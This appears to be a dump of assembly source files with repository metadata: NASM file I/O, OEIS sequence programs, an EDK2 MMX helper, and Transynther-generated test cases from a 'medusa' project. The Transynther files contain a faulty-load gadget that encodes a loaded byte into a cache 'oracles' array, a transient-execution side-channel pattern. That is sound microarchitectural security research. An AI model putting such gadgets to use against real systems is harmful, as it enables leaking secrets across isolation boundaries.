mov rsi, O_CREAT | O_WRONLY ; bitwise OR the flags
mov rdx, 0q0644 ; permissions in octal
; read = 4, write = 2, execute = 1
; special perm, owner, group, other
; 0, 4+2, 4, 4
syscall
; write to file
push rax ; push `fd` to stack
mov rdi, rax ; set `fd`
mov rax, SYS_WRITE
mov rsi, msg
mov rdx, len
syscall
; close file
mov rax, SYS_CLOSE
pop rdi ; pop `fd` off stack
syscall
; exit
mov rax, 0x3c
mov rdi, 0
syscall
| 22.475 | 67 | 0.536151 |
[
"MIT"
] |
fushinori/nasm
|
files/files.asm
| 899 |
Assembly
|
; A239690: Base 4 sum of digits of prime(n).
; 2,3,2,4,5,4,2,4,5,5,7,4,5,7,8,5,8,7,4,5,4,7,5,5,4,5,7,8,7,5,10,5,5,7,5,7,7,7,8,8,8,7,11,4,5,7,7,10,8,7,8,11,7,11,2,5,5,7,4,5,7,5,7,8,7,8,7,4,8,7,5,8,10,7,10,11,5,7,5,7,8,7,11,7,10,11,5,7,8,10,8,11,10,11,10,11,11,5,7,7
seq $0,40 ; The prime numbers.
seq $0,53737 ; Sum of digits of (n written in base 4).
| 58.666667 | 219 | 0.588068 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/239/A239690.asm
| 352 |
Assembly
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x30cc, %r12
clflush (%r12)
nop
nop
nop
nop
nop
cmp %rax, %rax
mov (%r12), %edx
nop
nop
nop
nop
and $5328, %rsi
lea addresses_WC_ht+0xdc4f, %rsi
lea addresses_UC_ht+0x1dade, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $30, %rcx
rep movsb
nop
sub $37329, %rsi
lea addresses_WC_ht+0x9cd9, %rax
xor %rcx, %rcx
movl $0x61626364, (%rax)
nop
inc %r12
lea addresses_normal_ht+0xd1a1, %r12
nop
nop
nop
nop
xor %rcx, %rcx
mov (%r12), %r11
nop
nop
nop
nop
add $29081, %rdi
lea addresses_UC_ht+0x7bf5, %rsi
lea addresses_WT_ht+0x1c569, %rdi
add $47570, %r9
mov $36, %rcx
rep movsq
nop
nop
nop
nop
xor $63095, %rax
lea addresses_normal_ht+0xab09, %rdx
nop
sub $26793, %rcx
mov $0x6162636465666768, %rax
movq %rax, %xmm1
and $0xffffffffffffffc0, %rdx
vmovaps %ymm1, (%rdx)
nop
inc %r9
lea addresses_normal_ht+0x5c21, %rdi
nop
and %r11, %r11
mov (%rdi), %dx
nop
nop
nop
xor $582, %rax
lea addresses_WT_ht+0x17969, %rax
nop
nop
and %r9, %r9
movb (%rax), %r11b
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x1aa1, %rsi
lea addresses_A_ht+0x1afa1, %rdi
nop
nop
nop
sub $64375, %rdx
mov $23, %rcx
rep movsb
add $50502, %r9
lea addresses_A_ht+0x1c7a1, %r9
nop
nop
nop
nop
nop
dec %rdx
movups (%r9), %xmm3
vpextrq $1, %xmm3, %r11
nop
xor %r9, %r9
lea addresses_UC_ht+0x6df9, %rsi
lea addresses_D_ht+0x6b61, %rdi
nop
nop
nop
nop
nop
cmp %rax, %rax
mov $40, %rcx
rep movsw
nop
nop
nop
nop
and %r11, %r11
lea addresses_WT_ht+0xd3a1, %rcx
nop
nop
nop
nop
nop
xor %rdx, %rdx
movb $0x61, (%rcx)
nop
sub %r9, %r9
lea addresses_WC_ht+0x103a1, %rdi
nop
add $46702, %r12
movl $0x61626364, (%rdi)
nop
nop
dec %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_A+0x33a1, %rsi
nop
nop
nop
nop
nop
add %rax, %rax
movaps (%rsi), %xmm6
vpextrq $0, %xmm6, %r8
nop
xor %rax, %rax
// Store
lea addresses_normal+0x17621, %rdi
nop
and $5649, %rbx
mov $0x5152535455565758, %rdx
movq %rdx, (%rdi)
nop
nop
inc %rcx
// Store
lea addresses_WT+0x1fc01, %rax
nop
nop
nop
nop
sub %r8, %r8
movb $0x51, (%rax)
nop
nop
nop
sub %rax, %rax
// Load
lea addresses_A+0x33a1, %rax
nop
nop
nop
nop
add $23887, %rbx
mov (%rax), %si
nop
nop
nop
nop
dec %rcx
// Faulty Load
lea addresses_A+0x33a1, %rdi
nop
nop
xor $9410, %rbx
mov (%rdi), %ax
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': True, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'00': 108}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 21.267442 | 323 | 0.646073 |
[
"MIT"
] |
danielmgmi/medusa
|
Transynther/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_108_1372.asm
| 5,487 |
Assembly
|
; A164660: Numerators of row sums of triangle of rationals A164658/A164659. Definite integral of Chebyshev polynomials of the first kind: Integral_{x=0..1} T(n,x).
; 1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,-1
trn $0,1
gcd $0,4
sub $0,10
div $0,7
mov $1,$0
mul $1,2
add $1,1
| 46.272727 | 278 | 0.520629 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/164/A164660.asm
| 509 |
Assembly
|
; A022366: Fibonacci sequence beginning 0, 32.
; 0,32,32,64,96,160,256,416,672,1088,1760,2848,4608,7456,12064,19520,31584,51104,82688,133792,216480,350272,566752,917024,1483776,2400800,3884576,6285376,10169952,16455328,26625280,43080608,69705888,112786496,182492384,295278880,477771264,773050144,1250821408,2023871552,3274692960,5298564512,8573257472,13871821984,22445079456,36316901440,58761980896,95078882336,153840863232,248919745568,402760608800,651680354368,1054440963168,1706121317536,2760562280704,4466683598240,7227245878944,11693929477184,18921175356128,30615104833312,49536280189440,80151385022752,129687665212192,209839050234944,339526715447136,549365765682080,888892481129216,1438258246811296,2327150727940512,3765408974751808,6092559702692320
add $0,2
mov $3,32
lpb $0,1
sub $0,1
mov $1,$3
mov $3,$2
add $2,$1
lpe
| 69.666667 | 708 | 0.850478 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/022/A022366.asm
| 836 |
Assembly
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteMm2.Asm
;
; Abstract:
;
; AsmWriteMm2 function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmWriteMm2 (
; IN UINT64 Value
; );
;------------------------------------------------------------------------------
AsmWriteMm2 PROC
;
; 64-bit MASM doesn't support MMX instructions, so use opcode here
;
DB 48h, 0fh, 6eh, 0d1h
ret
AsmWriteMm2 ENDP
END
| 28.02381 | 85 | 0.486831 |
[
"BSD-2-Clause"
] |
AidenFeng/EDKII
|
MdePkg/Library/BaseLib/X64/WriteMm2.asm
| 1,177 |
Assembly
|
# Test 1 - add
pushd 2.5
pushd 5.8
add
halt
| 9.333333 | 14 | 0.517857 |
[
"Apache-2.0"
] |
Irwin1985/BookPart_2
|
VirtualMachine/Win32/UnitTests/Arithmetic/test1_adddd_Arithmetic.asm
| 56 |
Assembly
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xb224, %rsi
lea addresses_normal_ht+0xa8b4, %rdi
sub %r10, %r10
mov $12, %rcx
rep movsq
nop
sub %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rbp
push %rbx
// Faulty Load
lea addresses_A+0x1f944, %r9
nop
nop
nop
nop
sub %rbp, %rbp
movups (%r9), %xmm6
vpextrq $1, %xmm6, %r11
lea oracles, %r9
and $0xff, %r11
shlq $12, %r11
mov (%r9,%r11,1), %r11
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': True, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 66.819672 | 2,999 | 0.663641 |
[
"MIT"
] |
danielmgmi/medusa
|
Transynther/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_500.asm
| 4,076 |
Assembly
|
; A036068: Expansion of (-1+1/(1-3*x)^3)/(9*x).
; 1,6,30,135,567,2268,8748,32805,120285,433026,1535274,5373459,18600435,63772920,216827928,731794257,2453663097,8178876990,27119434230,89494132959,294052151151,962352494676,3138105960900,10198844372925
mov $1,1
mov $2,$0
lpb $2,1
mov $3,$1
lpb $0,1
add $1,$0
sub $0,1
add $3,1
lpe
mul $3,2
add $1,$3
sub $2,1
lpe
| 22.705882 | 201 | 0.681347 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/036/A036068.asm
| 386 |
Assembly
|
; A328821: Triangular array read by rows. Let P be the poset of all even sized subsets of [2n] ordered by inclusion. T(n,k) is the number of intervals in P with length k, 0<=k<=n, n>=0.
; Submitted by Christian Krause
; 1,2,1,8,12,1,32,120,30,1,128,896,560,56,1,512,5760,6720,1680,90,1,2048,33792,63360,29568,3960,132,1,8192,186368,512512,384384,96096,8008,182,1,32768,983040,3727360,4100096,1647360,256256,14560,240,1
mul $0,2
lpb $0
add $1,2
sub $0,$1
mov $2,$1
sub $2,$0
lpe
bin $1,$0
mov $0,2
pow $0,$2
mul $1,$0
dif $1,2
mov $0,$1
| 30.388889 | 200 | 0.685558 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/328/A328821.asm
| 547 |
Assembly
|
; A081105: 5th binomial transform of (1,1,0,0,0,0,.....).
; 1,6,35,200,1125,6250,34375,187500,1015625,5468750,29296875,156250000,830078125,4394531250,23193359375,122070312500,640869140625,3356933593750,17547607421875,91552734375000,476837158203125
mov $1,5
pow $1,$0
add $0,5
mul $1,$0
div $1,5
| 32.888889 | 189 | 0.766892 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/081/A081105.asm
| 296 |
Assembly
|
; A212254: Number of (w,x,y,z) with all terms in {1,...,n} and w=x+2y+3z-n.
; 0,0,0,1,4,11,21,37,59,88,125,172,228,296,376,469,576,699,837,993,1167,1360,1573,1808,2064,2344,2648,2977,3332,3715,4125,4565,5035,5536,6069,6636,7236,7872,8544,9253,10000,10787,11613,12481,13391
mov $2,$0
mov $5,$0
lpb $2,1
mov $0,$5
sub $2,1
sub $0,$2
mov $4,2
sub $4,$0
div $0,3
mov $3,$4
mul $3,$4
mov $6,$0
add $6,$4
mul $6,2
sub $3,$6
add $3,1
div $3,2
add $1,$3
lpe
| 20.913043 | 196 | 0.598753 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/212/A212254.asm
| 481 |
Assembly
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x157a1, %rax
nop
nop
nop
and $16397, %r14
mov (%rax), %r12
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0x14717, %rsi
lea addresses_WT_ht+0xa2fd, %rdi
nop
nop
nop
nop
and %rax, %rax
mov $101, %rcx
rep movsb
sub %r12, %r12
lea addresses_WT_ht+0x1df37, %rsi
lea addresses_D_ht+0x1c9a1, %rdi
clflush (%rsi)
nop
nop
sub $28030, %rdx
mov $79, %rcx
rep movsw
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_UC_ht+0x1ce21, %rdi
nop
nop
nop
add $36211, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
movups %xmm4, (%rdi)
nop
nop
nop
nop
nop
cmp $26666, %rdx
lea addresses_WT_ht+0x16981, %rdi
nop
nop
nop
cmp $14815, %r14
movups (%rdi), %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
and $7397, %rcx
lea addresses_UC_ht+0xecc1, %r12
nop
nop
nop
dec %rdx
movl $0x61626364, (%r12)
nop
nop
add %r12, %r12
lea addresses_normal_ht+0xdba1, %rcx
clflush (%rcx)
nop
nop
add $26248, %rax
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
add %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r15
push %rbx
push %rdx
// Store
lea addresses_UC+0x69a1, %r10
nop
nop
nop
nop
xor %r13, %r13
mov $0x5152535455565758, %r15
movq %r15, (%r10)
nop
nop
xor %r13, %r13
// Store
lea addresses_normal+0x1b7a1, %r10
sub %r12, %r12
movb $0x51, (%r10)
nop
nop
xor $3894, %r15
// Load
lea addresses_normal+0x17ec5, %rdx
inc %r13
movb (%rdx), %bl
nop
nop
xor %r15, %r15
// Store
lea addresses_normal+0x13ea1, %rbx
nop
nop
nop
nop
nop
xor $59950, %rdx
movl $0x51525354, (%rbx)
nop
nop
xor %r13, %r13
// Store
lea addresses_PSE+0xf9a1, %r15
nop
mfence
movw $0x5152, (%r15)
nop
nop
nop
nop
dec %r10
// Store
lea addresses_RW+0x2b21, %rbx
add %r11, %r11
mov $0x5152535455565758, %r12
movq %r12, (%rbx)
nop
nop
nop
add %r12, %r12
// Store
mov $0xea3ca00000002a1, %r15
nop
inc %r11
movw $0x5152, (%r15)
nop
nop
sub %r15, %r15
// Store
lea addresses_A+0x106b1, %r15
nop
nop
nop
nop
nop
sub $38661, %r11
movl $0x51525354, (%r15)
nop
inc %r11
// Store
lea addresses_A+0x12a0d, %r13
nop
add $61282, %rbx
movw $0x5152, (%r13)
nop
nop
nop
cmp $57217, %r12
// Store
lea addresses_D+0x16b0d, %rdx
nop
nop
nop
cmp $37806, %r10
mov $0x5152535455565758, %rbx
movq %rbx, (%rdx)
nop
nop
nop
cmp $33563, %rbx
// Store
lea addresses_normal+0x1a561, %rbx
and $50562, %r10
movl $0x51525354, (%rbx)
nop
nop
nop
nop
nop
sub %r11, %r11
// Faulty Load
lea addresses_UC+0x69a1, %r10
nop
nop
and $33200, %r13
vmovntdqa (%r10), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r11
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rdx
pop %rbx
pop %r15
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 16802, '52': 5027}
52 52 00 00 00 00 00 52 00 00 00 52 52 00 00 52 00 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 52 00 52 52 52 00 00 52 52 52 52 52 00 00 52 00 00 00 00 00 00 00 00 52 00 00 52 00 52 00 00 00 52 52 52 52 52 00 00 00 52 52 52 00 52 00 00 52 00 00 52 52 00 52 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 52 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 52 52 52 52 00 00 52 00 00 00 00 00 00 00 00 00 00 52 00 52 00 00 00 00 52 00 00 00 00 00 52 52 00 00 00 00 00 00 00 00 00 52 52 52 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 52 00 00 00 00 52 52 00 00 00 00 00 52 52 00 52 52 00 00 00 00 52 00 00 52 00 00 52 00 00 00 52 00 00 00 52 52 00 00 00 52 52 00 00 00 00 00 00 00 00 00 00 52 52 52 00 00 00 52 52 52 00 00 00 52 00 52 52 00 00 00 52 00 52 00 52 00 52 00 52 52 00 00 00 00 52 52 52 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 00 00 52 00 52 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 52 00 52 00 52 00 00 52 00 00 00 52 00 00 52 52 00 52 52 52 00 00 00 00 52 52 00 00 00 52 00 00 00 00 00 00 52 52 52 52 00 00 00 00 00 52 52 00 00 00 00 00 00 00 00 00 52 52 52 52 00 00 00 00 52 00 52 52 00 00 00 00 52 00 52 00 00 00 00 00 00 52 00 00 52 00 00 52 00 00 52 00 00 00 00 52 00 00 52 00 00 52 52 00 00 00 00 00 00 00 00 00 00 52 52 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 52 00 00 00 00 00 00 00 00 00 52 00 52 00 52 52 00 52 52 52 00 00 00 52 00 52 00 00 52 00 52 00 00 00 52 00 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 52 00 52 00 52 00 52 00 52 52 00 00 52 52 00 52 00 00 00 52 00 52 00 00 00 00 00 00 52 00 00 00 00 00 52 00 00 00 00 00 00 00 52 00 00 00 00 00 00 52 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 52 52 00 00 52 52 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 52 00 00 52 00 52 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 52 52 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 52 00 00 52 52 00 52 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 00 00 52 00 00 00 00 00 00 00 52 00 00 00 00 00 52 00 52 00 00 52 00 00 00 52 00 52 52 52 52 00 00 00 00 00 00 52 00 52 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 00 52 52 00 00 52 00 00 00 00 00 00 00 52 52 52 00 00 52 00 00 52 00 00 00 00 52 00 00 00 00 52 52 00 00 52 00 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 00 00 52 00 00 00 00 52 00 00 52 52 00 00 52 00 00 00 00 00 00 00 52 52 00 52 52 00 52 00 00 00 00 00 52 00 00 00 00 00 52 52 00 00 00 00 00 00 00 00 52 00 00 00 52 00 00 00 52 00 00 00 52 00 00 52 00 52 00 00 00 00 00 00 00 00 52 00 00 00 00 00 